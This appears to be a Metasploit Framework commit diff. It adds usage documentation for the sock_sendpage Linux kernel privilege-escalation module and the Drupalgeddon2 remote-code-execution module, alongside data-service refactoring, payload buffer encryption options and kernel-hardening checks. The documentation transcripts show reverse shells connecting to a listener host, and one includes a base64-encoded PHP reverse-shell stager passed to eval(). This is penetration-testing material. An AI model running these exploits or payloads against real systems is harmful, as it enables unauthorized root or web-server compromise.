diff --git a/Gemfile.lock b/Gemfile.lock
index f04af1d0e8..2286d3b6b7 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -209,7 +209,7 @@ GEM
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.0.2)
- rack (1.6.9)
+ rack (1.6.10)
rack-protection (1.5.5)
rack
rack-test (0.6.3)
diff --git a/db/modules_metadata_base.pstore b/db/modules_metadata_base.pstore
index eeb49074fb..cb025dfa8b 100644
Binary files a/db/modules_metadata_base.pstore and b/db/modules_metadata_base.pstore differ
diff --git a/documentation/modules/exploit/linux/local/sock_sendpage.md b/documentation/modules/exploit/linux/local/sock_sendpage.md
new file mode 100644
index 0000000000..af9d5d55f1
--- /dev/null
+++ b/documentation/modules/exploit/linux/local/sock_sendpage.md
@@ -0,0 +1,121 @@
+## Description
+
+ The Linux kernel failed to properly initialize some entries in the
+ `proto_ops` struct for several protocols, leading to `NULL` being
+ dereferenced and used as a function pointer. By using `mmap(2)` to map
+ page `0`, an attacker can execute arbitrary code in the context of the
+ kernel.
+
+
+## Vulnerable Application
+
+ Several public exploits exist for this vulnerability, including
+ spender's `wunderbar_emporium` and rcvalle's ppc port, `sock_sendpage.c`.
+
+ All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
+
+ * 2.4.4 up to and including 2.4.37.4
+ * 2.6.0 up to and including 2.6.30.4
+
+ This module has been tested successfully on:
+
+ * CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
+ * Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
+
+
+## Verification Steps
+
+ 1. Start `msfconsole`
+ 2. Get a session
+ 3. `use exploit/linux/local/sock_sendpage`
+ 4. `set SESSION [SESSION]`
+ 5. `check`
+ 6. `run`
+ 7. You should get a new *root* session
+
+
+## Options
+
+ **SESSION**
+
+ Which session to use, which can be viewed with `sessions`
+
+ **WritableDir**
+
+ A writable directory file system path. (default: `/tmp`)
+
+ **DEBUG_EXPLOIT**
+
+ Enable exploit debug messages. (default: `false`)
+
+
+## Scenarios
+
+ ### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
+
+ ```
+ msf > use exploit/linux/local/sock_sendpage
+ msf exploit(linux/local/sock_sendpage) > set session 1
+ session => 1
+ msf exploit(linux/local/sock_sendpage) > set verbose true
+ verbose => true
+ msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp
+ payload => linux/x86/meterpreter/reverse_tcp
+ msf exploit(linux/local/sock_sendpage) > run
+
+ [!] SESSION may not be compatible with this module.
+ [*] Started reverse TCP handler on 172.16.191.188:4444
+ [+] Kernel version 2.6.18 appears to be vulnerable
+ [+] System architecture i686 is supported
+ [+] vm.mmap_min_addr is not set
+ [*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ...
+ [*] Max line length is 65537
+ [*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
+ [*] Executing payload...
+ [*] Transmitting intermediate stager...(106 bytes)
+ [*] Sending stage (857352 bytes) to 172.16.191.159
+ [*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400
+
+ meterpreter > getuid
+ Server username: uid=0, gid=0, euid=0, egid=0
+ meterpreter > sysinfo
+ Computer : 172.16.191.159
+ OS : CentOS 5 (Linux 2.6.18-8.1.1.tl5)
+ Architecture : i686
+ BuildTuple : i486-linux-musl
+ Meterpreter : x86/linux
+ ```
+
+ ### Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
+
+ ```
+ msf > use exploit/linux/local/sock_sendpage
+ msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp
+ payload => linux/x86/shell/reverse_tcp
+ msf exploit(linux/local/sock_sendpage) > set session 1
+ session => 1
+ msf exploit(linux/local/sock_sendpage) > run
+
+ [!] SESSION may not be compatible with this module.
+ [*] Started reverse TCP handler on 172.16.191.188:4444
+ [+] Kernel version 2.4.27 appears to be vulnerable
+ [+] System architecture i686 is supported
+ [+] vm.mmap_min_addr is not set
+ [*] Writing '/tmp/.69p3FeagB' (3509 bytes) ...
+ [*] Max line length is 65537
+ [*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
+ [*] Executing payload...
+ [*] Sending stage (36 bytes) to 172.16.191.227
+ [*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400
+ [!] Tried to delete /tmp/.69p3FeagB, unknown result
+
+ 3356110123
+ lfvaliLFShnAfRQkCHUXFtuyGXKylJSN
+ TJloQpOJsrsnQSfZpNAjWcbqNuHanLeI
+ LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr
+ id
+ uid=0(root) gid=0(root) groups=100(users)
+ uname -a
+ Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux
+ ```
+
diff --git a/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md b/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md
new file mode 100644
index 0000000000..988a26b16f
--- /dev/null
+++ b/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md
@@ -0,0 +1,110 @@
+## Intro
+
+This module exploits a Drupal property injection in the Forms API.
+Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
+
+## Setup
+
+Use the provided Docker images here: .
+
+Alternatively, you may use TurnKey Linux's distributions:
+
+Drupal 7.54:
+Drupal 8.3.1:
+
+Tested on 7.57 and 8.4.5 in Docker and 7.54 and 8.3.1 in TurnKey.
+
+## Targets
+
+```
+Id Name
+-- ----
+0 Automatic (PHP In-Memory)
+1 Automatic (PHP Dropper)
+2 Automatic (Unix In-Memory)
+3 Automatic (Linux Dropper)
+4 Drupal 7.x (PHP In-Memory)
+5 Drupal 7.x (PHP Dropper)
+6 Drupal 7.x (Unix In-Memory)
+7 Drupal 7.x (Linux Dropper)
+8 Drupal 8.x (PHP In-Memory)
+9 Drupal 8.x (PHP Dropper)
+10 Drupal 8.x (Unix In-Memory)
+11 Drupal 8.x (Linux Dropper)
+```
+
+Automatic targeting means the Drupal version will be detected first.
+Targets with a specific version will do as they're told (regardless of
+what the server is running).
+
+Dropper targets write to disk. In-memory targets don't. Be mindful of
+showing up in someone's process list, though. A dropper might be more
+viable in that regard.
+
+## Options
+
+**TARGETURI**
+
+Set this to the remote path of the vulnerable Drupal install. Defaults
+to `/` for the web root.
+
+**PHP_FUNC**
+
+Set this to the PHP function you'd like to execute. Defaults to
+`passthru`.
+
+**DUMP_OUTPUT**
+
+Enable this if you'd like to see HTTP responses, including command
+output. Defaults to `false` unless `cmd/unix/generic` is your payload.
+
+**VERBOSE**
+
+Enable this to show what function and command were executed. Defaults to
+`false` due to the sometimes excessive output.
+
+**ForceExploit**
+
+Enable this to force exploitation regardless of the check result.
+Defaults to `false`, meaning the check result is respected.
+
+**WritableDir**
+
+Set this to a writable directory without `noexec` for binary payloads.
+Defaults to `/tmp`, but other options may include `/var/tmp` and
+`/dev/shm`.
+
+## Usage
+
+Drupal 7.57 from the Docker image is tested below.
+
+```
+msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
+msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 172.17.0.3
+rhost => 172.17.0.3
+msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true
+verbose => true
+msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check
+
+[*] Drupal 7.x targeted at http://172.17.0.3/
+[+] Drupal appears unpatched in CHANGELOG.txt
+[*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue
+[+] 172.17.0.3:80 The target is vulnerable.
+msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
+
+[*] Started reverse TCP handler on 172.17.0.1:4444
+[*] Drupal 7.x targeted at http://172.17.0.3/
+[+] Drupal appears unpatched in CHANGELOG.txt
+[*] Executing with printf(): paAHBb9jyovEnLrrT5lMIB
+[*] Executing with assert(): eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNy4wLjEnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw));
+[*] Sending stage (37775 bytes) to 172.17.0.3
+[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:46654) at 2018-04-24 23:25:17 -0500
+
+meterpreter > getuid
+Server username: www-data (33)
+meterpreter > sysinfo
+Computer : b3a405d5568a
+OS : [redacted]
+Meterpreter : php/linux
+meterpreter >
+```
diff --git a/lib/metasploit/framework/data_service.rb b/lib/metasploit/framework/data_service.rb
index 49b4b2065e..a475f0c81b 100644
--- a/lib/metasploit/framework/data_service.rb
+++ b/lib/metasploit/framework/data_service.rb
@@ -6,8 +6,10 @@ require 'metasploit/framework/data_service/stubs/note_data_service'
require 'metasploit/framework/data_service/stubs/web_data_service'
require 'metasploit/framework/data_service/stubs/service_data_service'
require 'metasploit/framework/data_service/stubs/session_data_service'
+require 'metasploit/framework/data_service/stubs/session_event_service'
require 'metasploit/framework/data_service/stubs/exploit_data_service'
require 'metasploit/framework/data_service/stubs/loot_data_service'
+require 'metasploit/framework/data_service/stubs/msf_data_service'
#
# All data service implementations should include this module to ensure proper implementation
@@ -23,8 +25,10 @@ module DataService
include NoteDataService
include ServiceDataService
include SessionDataService
+ include SessionEventDataService
include ExploitDataService
include LootDataService
+ include MsfDataService
def name
raise 'DataService#name is not implemented';
@@ -34,6 +38,10 @@ module DataService
raise 'DataService#active is not implemented';
end
+ def active=(value)
+ raise 'DataService#active= is not implemented';
+ end
+
def is_local?
raise 'DataService#is_local? is not implemented';
end
diff --git a/lib/metasploit/framework/data_service/proxy/core.rb b/lib/metasploit/framework/data_service/proxy/core.rb
index 4922291447..a07a5f677f 100644
--- a/lib/metasploit/framework/data_service/proxy/core.rb
+++ b/lib/metasploit/framework/data_service/proxy/core.rb
@@ -51,30 +51,36 @@ class DataProxy
end
#
- # Registers a data service with the proxy and immediately
- # set as primary if online
+ # Registers the specified data service with the proxy
+ # and immediately sets it as the primary if active
#
- def register_data_service(data_service, online=false)
+ def register_data_service(data_service)
validate(data_service)
data_service_id = @data_service_id += 1
@data_services[data_service_id] = data_service
- set_data_service(data_service_id, online)
+ set_data_service(data_service_id)
end
#
# Set the data service to be used
#
- def set_data_service(data_service_id, online=false)
+ def set_data_service(data_service_id)
data_service = @data_services[data_service_id.to_i]
if data_service.nil?
raise "Data service with id: #{data_service_id} does not exist"
end
- if !online && !data_service.active
- raise "Data service not online: #{data_service.name}, not setting as active"
+ if !data_service.is_local? && !data_service.active
+ raise "Data service #{data_service.name} is not online, and won't be set as active"
end
+ prev_data_service = @current_data_service
@current_data_service = data_service
+ # reset the previous data service's active flag if it is remote
+ # to ensure checks are performed the next time it is set
+ if !prev_data_service.nil? && !prev_data_service.is_local?
+ prev_data_service.active = false
+ end
end
#
@@ -153,12 +159,12 @@ class DataProxy
begin
db_manager = opts.delete(:db_manager)
if !db_manager.nil?
- register_data_service(db_manager, true)
+ register_data_service(db_manager)
@usable = true
else
@error = 'disabled'
end
- rescue Exception => e
+ rescue => e
raise "Unable to initialize data service: #{e.message}"
end
end
diff --git a/lib/metasploit/framework/data_service/proxy/data_proxy_auto_loader.rb b/lib/metasploit/framework/data_service/proxy/data_proxy_auto_loader.rb
index ce0eda6211..5088ad0f22 100644
--- a/lib/metasploit/framework/data_service/proxy/data_proxy_auto_loader.rb
+++ b/lib/metasploit/framework/data_service/proxy/data_proxy_auto_loader.rb
@@ -19,6 +19,7 @@ module DataProxyAutoLoader
autoload :DbExportDataProxy, 'metasploit/framework/data_service/proxy/db_export_data_proxy'
autoload :DbImportDataProxy, 'metasploit/framework/data_service/proxy/db_import_data_proxy'
autoload :VulnAttemptDataProxy, 'metasploit/framework/data_service/proxy/vuln_attempt_data_proxy'
+ autoload :MsfDataProxy, 'metasploit/framework/data_service/proxy/msf_data_proxy'
include ServiceDataProxy
include HostDataProxy
@@ -36,4 +37,5 @@ module DataProxyAutoLoader
include DbExportDataProxy
include DbImportDataProxy
include VulnAttemptDataProxy
+ include MsfDataProxy
end
\ No newline at end of file
diff --git a/lib/metasploit/framework/data_service/proxy/msf_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/msf_data_proxy.rb
new file mode 100644
index 0000000000..ab4605e936
--- /dev/null
+++ b/lib/metasploit/framework/data_service/proxy/msf_data_proxy.rb
@@ -0,0 +1,10 @@
+module MsfDataProxy
+ def get_msf_version
+ begin
+ data_service = self.get_data_service
+ data_service.get_msf_version
+ rescue => e
+ self.log_error(e, "Problem retrieving Metasploit version")
+ end
+ end
+end
\ No newline at end of file
diff --git a/lib/metasploit/framework/data_service/remote/http/core.rb b/lib/metasploit/framework/data_service/remote/http/core.rb
index 88ddbe546b..963848be89 100644
--- a/lib/metasploit/framework/data_service/remote/http/core.rb
+++ b/lib/metasploit/framework/data_service/remote/http/core.rb
@@ -49,6 +49,26 @@ class RemoteHTTPDataService
end
+ def name
+ "remote_data_service: (#{@endpoint})"
+ end
+
+ def active
+ # checks if data service is online when @active is falsey and makes the assignment
+ # this is to prevent repetitive calls to check if data service is online
+ # logic should be enhanced to considering data service connectivity
+ # and future data service implementations
+ @active ||= is_online?
+ end
+
+ def active=(value)
+ @active = value
+ end
+
+ def is_local?
+ false
+ end
+
def error
'none'
end
@@ -161,7 +181,7 @@ class RemoteHTTPDataService
rescue EOFError => e
elog "No data was returned from the data service for request type/path : #{request_type}/#{path}, message: #{e.message}"
return FailedResponse.new('')
- rescue Exception => e
+ rescue => e
elog "Problem with HTTP request for type/path: #{request_type}/#{path} message: #{e.message}"
return FailedResponse.new('')
ensure
@@ -169,21 +189,6 @@ class RemoteHTTPDataService
end
end
- #
- # TODO: fix this
- #
- def active
- return true
- end
-
- def name
- "remote_data_service: (#{@endpoint})"
- end
-
- def is_local?
- false
- end
-
def set_header(key, value)
@headers = Hash.new() if @headers.nil?
@@ -233,6 +238,19 @@ class RemoteHTTPDataService
raise 'Endpoint cannot be nil' if endpoint.nil?
end
+ #
+ # Checks if the data service is online by making a request
+ # for the Metasploit version number from the remote endpoint
+ #
+ def is_online?
+ response = self.get_msf_version
+ if response && !response[:metasploit_version].empty?
+ return true
+ end
+
+ return false
+ end
+
def build_request(request, data_hash)
request.content_type = 'application/json'
if !data_hash.nil? && !data_hash.empty?
diff --git a/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb b/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb
index c4bc34d9af..6086f99955 100644
--- a/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb
+++ b/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb
@@ -17,6 +17,7 @@ module DataServiceAutoLoader
autoload :RemoteNmapDataService, 'metasploit/framework/data_service/remote/http/remote_nmap_data_service'
autoload :RemoteDbExportDataService, 'metasploit/framework/data_service/remote/http/remote_db_export_data_service'
autoload :RemoteVulnAttemptDataService, 'metasploit/framework/data_service/remote/http/remote_vuln_attempt_data_service'
+ autoload :RemoteMsfDataService, 'metasploit/framework/data_service/remote/http/remote_msf_data_service'
include RemoteHostDataService
include RemoteEventDataService
@@ -33,4 +34,5 @@ module DataServiceAutoLoader
include RemoteNmapDataService
include RemoteDbExportDataService
include RemoteVulnAttemptDataService
+ include RemoteMsfDataService
end
\ No newline at end of file
diff --git a/lib/metasploit/framework/data_service/remote/http/remote_msf_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_msf_data_service.rb
new file mode 100644
index 0000000000..103267f209
--- /dev/null
+++ b/lib/metasploit/framework/data_service/remote/http/remote_msf_data_service.rb
@@ -0,0 +1,12 @@
+require 'metasploit/framework/data_service/remote/http/response_data_helper'
+
+module RemoteMsfDataService
+ include ResponseDataHelper
+
+ MSF_API_PATH = '/api/v1/msf'
+ MSF_VERSION_API_PATH = "#{MSF_API_PATH}/version"
+
+ def get_msf_version
+ json_to_hash(self.get_data(MSF_VERSION_API_PATH, nil, nil))
+ end
+end
\ No newline at end of file
diff --git a/lib/metasploit/framework/data_service/stubs/msf_data_service.rb b/lib/metasploit/framework/data_service/stubs/msf_data_service.rb
new file mode 100644
index 0000000000..c898981fbf
--- /dev/null
+++ b/lib/metasploit/framework/data_service/stubs/msf_data_service.rb
@@ -0,0 +1,5 @@
+module MsfDataService
+ def get_msf_version
+ raise 'MsfDataService#get_msf_version is not implemented'
+ end
+end
\ No newline at end of file
diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb
index c093e9f3ca..5047ba1c49 100644
--- a/lib/msf/base/simple/buffer.rb
+++ b/lib/msf/base/simple/buffer.rb
@@ -18,9 +18,13 @@ module Buffer
# Serializes a buffer to a provided format. The formats supported are raw,
# num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh
#
- def self.transform(buf, fmt = "ruby", var_name = 'buf')
+ def self.transform(buf, fmt = "ruby", var_name = 'buf', encryption_opts={})
default_wrap = 60
+ unless encryption_opts.empty?
+ buf = encrypt_buffer(buf, encryption_opts)
+ end
+
case fmt
when 'raw'
when 'num'
@@ -120,6 +124,50 @@ module Buffer
]
end
+ def self.encryption_formats
+ [
+ 'xor',
+ 'base64',
+ 'aes256',
+ 'rc4'
+ ]
+ end
+
+ private
+
+ def self.encrypt_buffer(value, encryption_opts)
+ buf = ''
+
+ case encryption_opts[:format]
+ when 'aes256'
+ if encryption_opts[:iv].blank?
+ raise ArgumentError, 'Initialization vector is missing'
+ elsif encryption_opts[:key].blank?
+ raise ArgumentError, 'Encryption key is missing'
+ end
+
+ buf = Rex::Crypto.encrypt_aes256(encryption_opts[:iv], encryption_opts[:key], value)
+ when 'base64'
+ buf = Rex::Text.encode_base64(value)
+ when 'xor'
+ if encryption_opts[:key].blank?
+ raise ArgumentError, 'XOR key is missing'
+ end
+
+ buf = Rex::Text.xor(encryption_opts[:key], value)
+ when 'rc4'
+ if encryption_opts[:key].blank?
+ raise ArgumentError, 'Encryption key is missing'
+ end
+
+ buf = Rex::Crypto.rc4(encryption_opts[:key], value)
+ else
+ raise ArgumentError, "Unsupported encryption format: #{encryption_opts[:format]}", caller
+ end
+
+ return buf
+ end
+
end
end
diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb
index 871916a9e1..13c81aba48 100644
--- a/lib/msf/core/data_store.rb
+++ b/lib/msf/core/data_store.rb
@@ -19,7 +19,10 @@ class DataStore < Hash
@imported_by = Hash.new
end
+ attr_accessor :options
attr_accessor :aliases
+ attr_accessor :imported
+ attr_accessor :imported_by
#
# Clears the imported flag for the supplied key since it's being set
@@ -216,6 +219,38 @@ class DataStore < Hash
end
end
+ #
+ # Return a deep copy of this datastore.
+ #
+ def copy
+ ds = self.class.new
+ self.keys.each do |k|
+ ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
+ end
+ ds.aliases = self.aliases.dup
+ ds
+ end
+
+ #
+ # Override merge! so that we merge the aliases and imported hashes
+ #
+ def merge!(other)
+ super
+ if other.is_a? DataStore
+ self.aliases.merge!(other.aliases)
+ self.imported.merge!(other.imported)
+ self.imported_by.merge!(other.imported_by)
+ end
+ end
+
+ #
+ # Override merge to ensure we merge the aliases and imported hashes
+ #
+ def merge(other)
+ ds = self.copy
+ ds.merge!(other)
+ end
+
#
# Returns a hash of user-defined datastore values. The returned hash does
# not include default option values.
@@ -269,8 +304,8 @@ protected
# Scan each alias looking for a key
search_k = k.downcase
- if @aliases.has_key?(search_k)
- search_k = @aliases[search_k]
+ if self.aliases.has_key?(search_k)
+ search_k = self.aliases[search_k]
end
# Scan each key looking for a match
@@ -341,12 +376,12 @@ class ModuleDataStore < DataStore
# Return a deep copy of this datastore.
#
def copy
- clone = self.class.new(@_module)
+ ds = self.class.new(@_module)
self.keys.each do |k|
- clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
+ ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
end
- clone.aliases = self.aliases
- clone
+ ds.aliases = self.aliases.dup
+ ds
end
end
diff --git a/lib/msf/core/db_manager/http/servlet/msf_servlet.rb b/lib/msf/core/db_manager/http/servlet/msf_servlet.rb
new file mode 100644
index 0000000000..5fc6ba307a
--- /dev/null
+++ b/lib/msf/core/db_manager/http/servlet/msf_servlet.rb
@@ -0,0 +1,25 @@
+module MsfServlet
+
+ def self.api_path
+ '/api/v1/msf'
+ end
+
+ def self.api_version_path
+ "#{MsfServlet.api_path}/version"
+ end
+
+ def self.registered(app)
+ app.get MsfServlet.api_version_path, &get_msf_version
+ end
+
+ #######
+ private
+ #######
+
+ def self.get_msf_version
+ lambda {
+ set_json_response({metasploit_version: Metasploit::Framework::VERSION})
+ }
+ end
+
+end
\ No newline at end of file
diff --git a/lib/msf/core/db_manager/http/servlet/online_test_servlet.rb b/lib/msf/core/db_manager/http/servlet/online_test_servlet.rb
deleted file mode 100644
index 1462f81ede..0000000000
--- a/lib/msf/core/db_manager/http/servlet/online_test_servlet.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module OnlineTestServlet
-
- def self.api_path
- '/api/v1/online'
- end
-
- def self.registered(app)
- app.get OnlineTestServlet.api_path, &get_active
- end
-
- #######
- private
- #######
-
- def self.get_active
- lambda {
- set_empty_response()
- }
- end
-
-end
\ No newline at end of file
diff --git a/lib/msf/core/db_manager/http/sinatra_app.rb b/lib/msf/core/db_manager/http/sinatra_app.rb
index 5f7d67b7d8..7a4e575ff3 100644
--- a/lib/msf/core/db_manager/http/sinatra_app.rb
+++ b/lib/msf/core/db_manager/http/sinatra_app.rb
@@ -5,7 +5,7 @@ require 'msf/core/db_manager/http/servlet/note_servlet'
require 'msf/core/db_manager/http/servlet/vuln_servlet'
require 'msf/core/db_manager/http/servlet/event_servlet'
require 'msf/core/db_manager/http/servlet/web_servlet'
-require 'msf/core/db_manager/http/servlet/online_test_servlet'
+require 'msf/core/db_manager/http/servlet/msf_servlet'
require 'msf/core/db_manager/http/servlet/workspace_servlet'
require 'msf/core/db_manager/http/servlet/service_servlet'
require 'msf/core/db_manager/http/servlet/session_servlet'
@@ -26,7 +26,7 @@ class SinatraApp < Sinatra::Base
register VulnServlet
register EventServlet
register WebServlet
- register OnlineTestServlet
+ register MsfServlet
register NoteServlet
register WorkspaceServlet
register ServiceServlet
diff --git a/lib/msf/core/payload/linux/x64/reverse_tcp.rb b/lib/msf/core/payload/linux/x64/reverse_tcp.rb
index cd8f0a724c..266cf68588 100644
--- a/lib/msf/core/payload/linux/x64/reverse_tcp.rb
+++ b/lib/msf/core/payload/linux/x64/reverse_tcp.rb
@@ -25,7 +25,7 @@ module Payload::Linux::ReverseTcp_x64
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
- retry_count: datastore['ReverseConnectRetries'],
+ retry_count: datastore['StagerRetryCount'],
sleep_seconds: datastore['StagerRetryWait'],
}
diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb
index a54fb39482..577f591d35 100644
--- a/lib/msf/core/payload_generator.rb
+++ b/lib/msf/core/payload_generator.rb
@@ -83,6 +83,15 @@ module Msf
# @!attribute var_name
# @return [String] The custom variable string for certain output formats
attr_accessor :var_name
+ # @!attribute encryption_format
+ # @return [String] The encryption format to use for the shellcode.
+ attr_accessor :encryption_format
+ # @!attribute encryption_key
+ # @return [String] The key to use for the encryption
+ attr_accessor :encryption_key
+ # @!attribute encryption_iv
+ # @return [String] The initialization vector for the encryption (not all apply)
+ attr_accessor :encryption_iv
# @param opts [Hash] The options hash
@@ -123,6 +132,9 @@ module Msf
@var_name = opts.fetch(:var_name, 'buf')
@smallest = opts.fetch(:smallest, false)
@encoder_space = opts.fetch(:encoder_space, @space)
+ @encryption_format = opts.fetch(:encryption_format, nil)
+ @encryption_key = opts.fetch(:encryption_key, nil)
+ @encryption_iv = opts.fetch(:encryption_iv, nil)
@framework = opts.fetch(:framework)
@@ -276,15 +288,20 @@ module Msf
# @param shellcode [String] the processed shellcode to be formatted
# @return [String] The final formatted form of the payload
def format_payload(shellcode)
+ encryption_opts = {}
+ encryption_opts[:format] = encryption_format if encryption_format
+ encryption_opts[:iv] = encryption_iv if encryption_iv
+ encryption_opts[:key] = encryption_key if encryption_key
+
case format.downcase
when "js_be"
if Rex::Arch.endian(arch) != ENDIAN_BIG
raise IncompatibleEndianess, "Big endian format selected for a non big endian payload"
else
- ::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
+ ::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
end
when *::Msf::Simple::Buffer.transform_formats
- ::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
+ ::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
when *::Msf::Util::EXE.to_executable_fmt_formats
::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
else
diff --git a/lib/msf/core/post/linux/kernel.rb b/lib/msf/core/post/linux/kernel.rb
index 123c0e12e4..4b6faf62af 100644
--- a/lib/msf/core/post/linux/kernel.rb
+++ b/lib/msf/core/post/linux/kernel.rb
@@ -13,7 +13,7 @@ module Kernel
# @return [String]
#
def uname(opts='-a')
- cmd_exec("uname #{opts}").to_s
+ cmd_exec("uname #{opts}").to_s.strip
rescue
raise "Failed to run uname #{opts}"
end
@@ -87,18 +87,139 @@ module Kernel
raise 'Could not determine SMEP status'
end
+ #
+ # Returns true if Kernel Address Isolation (KAISER) is enabled
+ #
+ # @return [Boolean]
+ #
+ def kaiser_enabled?
+ cmd_exec('cat /proc/cpuinfo').to_s.include? 'kaiser'
+ rescue
+ raise 'Could not determine KAISER status'
+ end
+
#
# Returns true if user namespaces are enabled, false if not.
#
# @return [Boolean]
#
def userns_enabled?
- return false if cmd_exec('cat /proc/sys/user/max_user_namespaces').to_s.eql? '0'
- cmd_exec('cat /proc/sys/kernel/unprivileged_userns_clone').to_s.eql? '1'
+ return false if cmd_exec('cat /proc/sys/user/max_user_namespaces').to_s.strip.eql? '0'
+ cmd_exec('cat /proc/sys/kernel/unprivileged_userns_clone').to_s.strip.eql? '1'
rescue
raise 'Could not determine userns status'
end
+ #
+ # Returns true if Address Space Layout Randomization (ASLR) is enabled
+ #
+ # @return [Boolean]
+ #
+ def aslr_enabled?
+ aslr = cmd_exec('cat /proc/sys/kernel/randomize_va_space').to_s.strip
+ (aslr.eql?('1') || aslr.eql?('2'))
+ rescue
+ raise 'Could not determine ASLR status'
+ end
+
+ #
+ # Returns true if unprivileged bpf is disabled
+ #
+ # @return [Boolean]
+ #
+ def unprivileged_bpf_disabled?
+ cmd_exec('cat /proc/sys/kernel/unprivileged_bpf_disabled').to_s.strip.eql? '1'
+ rescue
+ raise 'Could not determine kernel.unprivileged_bpf_disabled status'
+ end
+
+ #
+ # Returns true if kernel pointer restriction is enabled
+ #
+ # @return [Boolean]
+ #
+ def kptr_restrict?
